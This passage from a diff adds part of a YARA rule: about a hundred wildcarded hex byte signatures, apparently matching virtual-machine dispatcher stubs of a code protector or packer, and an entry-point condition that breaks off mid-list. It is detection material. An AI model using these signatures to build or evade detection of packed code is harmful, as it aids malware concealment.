+		$733 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 98 98 83 ED 04 89 45 00 E9}
+		$734 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 83 ED 02 66 89 45 00 E9}
+		$735 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$736 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 46 83 ED 02 66 89 45 00 E9}
+		$737 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 C6 01 83 ED 02 66 89 45 00 E9}
+		$738 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 46 66 89 45 00 E9}
+		$739 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 46 E9}
+		$740 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 83 C6 01 E9}
+		$741 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 83 EE FF E9}
+		$742 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 8D 76 01 E9}
+		$743 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 83 C6 01 66 89 45 00 E9}
+		$744 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 83 EE FF 66 89 45 00 E9}
+		$745 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 8D 76 01 66 89 45 00 E9}
+		$746 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 EE FF 83 ED 02 66 89 45 00 E9}
+		$747 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 8D 76 01 83 ED 02 66 89 45 00 E9}
+		$748 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+		$749 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+		$750 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 8B 55 00 83 C5 02 88 14 07 E9}
+		$751 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 98 98 83 ED 04 89 45 00 E9}
+		$752 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 83 ED 02 66 89 45 00 E9}
+		$753 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 8A 04 07 83 ED 02 66 89 45 00 E9}
+		$754 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 00 83 ED 02 00 45 04 9C 8F 45 00 E9}
+		$755 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 00 8A 4D 02 83 ED 02 D2 E0 66 89 45 04 9C 8F 45 00 E9}
+		$756 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 00 8A 4D 02 83 ED 02 D2 E8 66 89 45 04 9C 8F 45 00 E9}
+		$757 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 C6 04 83 ED 04 89 45 00 E9}
+		$758 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 83 C6 04 89 45 00 E9}
+		$759 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 83 EE FC 89 45 00 E9}
+		$760 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 C6 04 E9}
+		$761 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 EE FC E9}
+		$762 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 8D 76 04 E9}
+		$763 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 8D 76 04 89 45 00 E9}
+		$764 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 EE FC 83 ED 04 89 45 00 E9}
+		$765 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 8D 76 04 83 ED 04 89 45 00 E9}
+		$766 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$767 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9}
+		$768 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 36 89 10 E9}
+		$769 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9}
+		$770 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 36 8B 00 66 89 45 00 E9}
+		$771 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+		$772 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 4D 04 83 ED 02 D3 E0 89 45 04 9C 8F 45 00 E9}
+		$773 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 4D 04 83 ED 02 D3 E8 89 45 04 9C 8F 45 00 E9}
+		$774 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 4D 04 83 ED 02 D3 E8 89 45 04 9C 8F 45 00 E9 01 7D 00 00}
+		$775 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 36 88 10 E9}
+		$776 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$777 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$778 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9}
+		$779 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$780 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 8A 4D 08 83 C5 02 0F A5 D0 89 45 04 9C 8F 45 00 E9}
+		$781 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 8A 4D 08 83 C5 02 0F AD D0 89 45 04 9C 8F 45 00 E9}
+		$782 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 F7 D0 F7 D2 21 D0 89 45 04 9C 8F 45 00 E9}
+		$783 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 00 83 C5 02 36 8A 02 66 89 45 00 E9}
+		$784 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 00 83 C5 02 8A 02 66 89 45 00 E9}
+		$785 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 6D 00 E9}
+		$786 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$787 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 47 50 39 C5 0F 87 ?? ?? ?? ?? 8D 4F 40 29 E1 8D 45 80 29 C8 89 C4 9C 56 89 FE 8D BD 40 FF FF FF 57 FC F3 A4 5F 5E 9D E9}
+		$788 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 51 53 57 56 52 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+		$789 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 52 53 52 56 57 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$790 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 56 57 51 52 53 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 55 00 83 C5 02 8A 02 66 89 45 00 E9}
+		$791 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 56 57 53 55 51 52 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$792 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 57 53 51 52 55 54 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 58 5E 59 5D 5A 59 5B 5F 58 9D C3}
+		$793 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 52 56 50 53 56 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 8D 76 04 89 45 00 E9}
+		$794 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 53 50 52 56 55 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$795 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 55 57 53 56 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$796 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 56 53 52 50 55 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 55 00 83 C5 02 36 8A 02 66 89 45 00 E9}
+		$797 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 56 55 52 50 55 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$798 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 51 56 57 50 50 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$799 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 53 51 55 57 56 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$800 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 55 51 53 53 57 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$801 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 56 51 57 53 50 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$802 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 56 53 55 53 51 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$803 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 50 52 51 55 56 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$804 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 50 55 56 51 57 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$805 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 51 52 55 52 50 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$806 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 55 56 56 57 51 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$807 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 56 56 50 55 51 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+		$808 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 57 50 55 56 57 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$809 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 50 52 56 51 50 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5F 5B 5A 59 5E 5A 58 5D 9D C3}
+		$810 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 52 56 53 57 51 54 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$811 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 56 53 57 52 51 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8A 06 46 83 ED 02 66 89 45 00 E9}
+		$812 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 57 53 52 55 51 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$813 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 50 52 51 57 53 55 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 83 C6 04 89 45 00 E9}
+		$814 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 51 52 55 51 50 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$815 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 51 53 55 51 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$816 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 52 53 56 50 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$817 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 53 51 55 52 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$818 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 53 55 51 57 52 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$819 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 53 57 52 51 50 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$820 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 57 51 50 55 51 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$821 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 57 55 52 50 53 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$822 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 51 53 55 56 50 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 8D 76 04 E9}
+		$823 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 52 53 51 55 50 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 80 E0 3C 8B 14 07 83 ED 04 89 55 00 E9}
+		$824 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 52 55 56 51 50 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$825 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 55 52 54 50 51 53 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$826 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06}
+		$827 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F7 55 00 66 8B 45 00 83 ED 02 66 21 45 04 9C 8F 45 00 E9}
+		$828 = {8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9 A5 06 00 00 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint or $5 at entrypoint or $6 at entrypoint or $7 at entrypoint or $8 at entrypoint or $9 at entrypoint or $10 at entrypoint or $11 at entrypoint or $12 at entrypoint or $13 at entrypoint or $14 at entrypoint or $15 at entrypoint or $16 at entrypoint or $17 at entrypoint or $18 at entrypoint or $19 at entrypoint or $20 at entrypoint or $21 at entrypoint or $22 at entrypoint or $23 at entrypoint or $24 at entrypoint or $25 at entrypoint or $26 at entrypoint or $27 at entrypoint or $28 at entrypoint or $29 at entrypoint or $30 at entrypoint or $31 at entrypoint or $32 at entrypoint or $33 at entrypoint or $34 at entrypoint or $35 at entrypoint or $36 at entrypoint or $37 at entrypoint or $38 at entrypoint or $39 at entrypoint or $40 at entrypoint or $41 at entrypoint or $42 at entrypoint or $43 at entrypoint or $44 at entrypoint or $45 at entrypoint or $46 at entrypoint or $47 at entrypoint or $48 at entrypoint or $49 at entrypoint or $50 at entrypoint or $51 at entrypoint or $52 at entrypoint or $53 at entrypoint or $54 at entrypoint or $55 at entrypoint or $56 at entrypoint or $57 at entrypoint or $58 at entrypoint or $59 at entrypoint or $60 at entrypoint or $61 at entrypoint or $62 at entrypoint or $63 at entrypoint or $64 at entrypoint or $65 at entrypoint or $66 at entrypoint or $67 at entrypoint or $68 at entrypoint or $69 at entrypoint or $70 at entrypoint or $71 at entrypoint or $72 at entrypoint or $73 at entrypoint or $74 at entrypoint or $75 at entrypoint or $76 at entrypoint or $77 at entrypoint or $78 at entrypoint or $79 at entrypoint or $80 at entrypoint or $81 at entrypoint or $82 at entrypoint or $83 at entrypoint or $84 at entrypoint or $85 at entrypoint or $86 at entrypoint or $87 at entrypoint or $88 at entrypoint or $89 at entrypoint or $90 at entrypoint or $91 at entrypoint or $92 at entrypoint or $93 at entrypoint or $94 at entrypoint or $95 at entrypoint or $96 at entrypoint or $97 at entrypoint or $98 at entrypoint or $99 at entrypoint or $100 at entrypoint or $101 at entrypoint or $102 at entrypoint or $103 at entrypoint or $104 at entrypoint or $105 at entrypoint or $106 at entrypoint or $107 at entrypoint or $108 at entrypoint or $109 at entrypoint or $110 at entrypoint or $111 at entrypoint or $112 at entrypoint or $113 at entrypoint or $114 at entrypoint or $115 at entrypoint or $116 at entrypoint or $117 at entrypoint or $118 at entrypoint or $119 at entrypoint or $120 at entrypoint or $121 at entrypoint or $122 at entrypoint or $123 at entrypoint or $124 at entrypoint or $125 at entrypoint or $126 at entrypoint or $127 at entrypoint or $128 at entrypoint or $129 at entrypoint or $130 at entrypoint or $131 at entrypoint or $132 at entrypoint or $133 at entrypoint or $134 at entrypoint or $135 at entrypoint or $136 at entrypoint or $137 at entrypoint or $138 at entrypoint or $139 at entrypoint or $140 at entrypoint or $141 at entrypoint or $142 at entrypoint or $143 at entrypoint or $144 at entrypoint or $145 at entrypoint or $146 at entrypoint or $147 at entrypoint or $148 at entrypoint or $149 at entrypoint or $150 at entrypoint or $151 at entrypoint or $152 at entrypoint or $153 at entrypoint or $154 at entrypoint or $155 at entrypoint or $156 at entrypoint or $157 at entrypoint or $158 at entrypoint or $159 at entrypoint or $160 at entrypoint or $161 at entrypoint or $162 at entrypoint or $163 at entrypoint or $164 at entrypoint or $165 at entrypoint or $166 at entrypoint or $167 at entrypoint or $168 at entrypoint or $169 at entrypoint or $170 at entrypoint or $171 at entrypoint or $172 at entrypoint or $173 at entrypoint or $174 at entrypoint or $175 at entrypoint or $176 at entrypoint or $177 at entrypoint or $178 at entrypoint or $179 at entrypoint or $180 at entrypoint or $181 at entrypoint or $182 at entrypoint or $183 at entrypoint or $184 at entrypoint or $185 at entrypoint or $186 at entrypoint or $187 at entrypoint or $188 at entrypoint or $189 at entrypoint or $190 at entrypoint or $191 at entrypoint or $192 at entrypoint or $193 at entrypoint or $194 at entrypoint or $195 at entrypoint or $196 at entrypoint or $197 at entrypoint or $198 at entrypoint or $199 at entrypoint or $200 at entrypoint or $201 at entrypoint or $202 at entrypoint or $203 at entrypoint or $204 at entrypoint or $205 at entrypoint or $206 at entrypoint or $207 at entrypoint or $208 at entrypoint or $209 at entrypoint or $210 at entrypoint or $211 at entrypoint or $212 at entrypoint or $213 at entrypoint or $214 at entrypoint or $215 at entrypoint or $216 at entrypoint or $217 at entrypoint or $218 at entrypoint or $219 at entrypoint or $220 at entrypoint or $221 at entrypoint or $222 at entrypoint or $223 at entrypoint or $224 at entrypoint or $225 at entrypoint or $226 at entrypoint or $227 at entrypoint or $228 at entrypoint or $229 at entrypoint or $230 at entrypoint or $231 at entrypoint or $232 at entrypoint or $233 at entrypoint or $234 at entrypoint or $235 at entrypoint or $236 at entrypoint or $237 at entrypoint or $238 at entrypoint or $239 at entrypoint or $240 at entrypoint or $241 at entrypoint or $242 at entrypoint or $243 at entrypoint or $244 at entrypoint or $245 at entrypoint or $246 at entrypoint or $247 at entrypoint or $248 at entrypoint or $249 at entrypoint or $250 at entrypoint or $251 at entrypoint or $252 at entrypoint or $253 at entrypoint or $254 at entrypoint or $255 at entrypoint or $256 at entrypoint or $257 at entrypoint or $258 at entrypoint or $259 at entrypoint or $260 at entrypoint or $261 at entrypoint or $262 at entrypoint or $263 at entrypoint or $264 at entrypoint or $265 at entrypoint or $266 at entrypoint or $267 at entrypoint or $268 at entrypoint or $269 at entrypoint or $270 at entrypoint or $271 at entrypoint or $272 at entrypoint or $273 at entrypoint or $274 at entrypoint or $275 at entrypoint or $276 at entrypoint or $277 at entrypoint or $278 at entrypoint or $279 at entrypoint or $280 at entrypoint or $281 at entrypoint or $282 at entrypoint or $283 at entrypoint or $284 at entrypoint or $285 at entrypoint or $286 at entrypoint or $287 at entrypoint or $288 at entrypoint or $289 at entrypoint or $290 at entrypoint or $291 at entrypoint or $292 at entrypoint or $293 at entrypoint or $294 at entrypoint or $295 at entrypoint or $296 at entrypoint or $297 at entrypoint or $298 at entrypoint or $299 at entrypoint or $300 at entrypoint or $301 at entrypoint or $302 at entrypoint or $303 at entrypoint or $304 at entrypoint or $305 at entrypoint or $306 at entrypoint or $307 at entrypoint or $308 at entrypoint or $309 at entrypoint or $310 at entrypoint or $311 at entrypoint or $312 at entrypoint or $313 at entrypoint or $314 at entrypoint or $315 at entrypoint or $316 at entrypoint or $317 at entrypoint or $318 at entrypoint or $319 at entrypoint or $320 at entrypoint or $321 at entrypoint or $322 at entrypoint or $323 at entrypoint or $324 at entrypoint or $325 at entrypoint or $326 at entrypoint or $327 at entrypoint or $328 at entrypoint or $329 at entrypoint or $330 at entrypoint or $331 at entrypoint or $332 at entrypoint or $333 at entrypoint or $334 at entrypoint or $335 at entrypoint or $336 at entrypoint or $337 at entrypoint or $338 at entrypoint or $339 at entrypoint or $340 at entrypoint or $341 at entrypoint or $342 at entrypoint or $343 at entrypoint or $344 at entrypoint or $345 at entrypoint or $346 at entrypoint or $347 at entrypoint or $348 at entrypoint or $349 at entrypoint or $350 at entrypoint or $351 at entrypoint or $352 at entrypoint or $353 at entrypoint or $354 at entrypoint or $355 at entrypoint or $356 at entrypoint or $357 at entrypoint or $358 at entrypoint or $359 at entrypoint or $360 at entrypoint or $361 at entrypoint or $362 at entrypoint or $363 at entrypoint or $364 at entrypoint or $365 at entrypoint or $366 at entrypoint or $367 at entrypoint or $368 at entrypoint or $369 at entrypoint or $370 at entrypoint or $371 at entrypoint or $372 at entrypoint or $373 at entrypoint or $374 at entrypoint or $375 at entrypoint or $376 at entrypoint or $377 at entrypoint or $378 at entrypoint or $379 at entrypoint or $380 at entrypoint or $381 at entrypoint or $382 at entrypoint or $383 at entrypoint or $384 at entrypoint or $385 at entrypoint or $386 at entrypoint or $387 at entrypoint or $388 at entrypoint or $389 at entrypoint or $390 at entrypoint or $391 at entrypoint or $392 at entrypoint or $393 at entrypoint or $394 at entrypoint or $395 at entrypoint or $396 at entrypoint or $397 at entrypoint or $398 at entrypoint or $399 at entrypoint or $400 at entrypoint or $401 at entrypoint or $402 at entrypoint or $403 at entrypoint or $404 at entrypoint or $405 at entrypoint or $406 at entrypoint or $407 at entrypoint or $408 at entrypoint or $409 at entrypoint or $410 at entrypoint or $411 at entrypoint or $412 at entrypoint or $413 at entrypoint or $414 at entrypoint or $415 at entrypoint or $416 at entrypoint or $417 at entrypoint or $418 at entrypoint or $419 at entrypoint or $420 at entrypoint or $421 at entrypoint or $422 at entrypoint or $423 at entrypoint or $424 at entrypoint or $425 at entrypoint or $426 at entrypoint or $427 at entrypoint or $428 at entrypoint or $429 at entrypoint or $430 at entrypoint or $431 at entrypoint or $432 at entrypoint or $433 at entrypoint or $434 at entrypoint or $435 at entrypoint or $436 at entrypoint or $437 at entrypoint or $438 at entrypoint or $439 at entrypoint or $440 at entrypoint or $441 at entrypoint or $442 at entrypoint or $443 at entrypoint or $444 at entrypoint or $445 at entrypoint or $446 at entrypoint or $447 at entrypoint or $448 at entrypoint or $449 at entrypoint or $450 at entrypoint or $451 at entrypoint 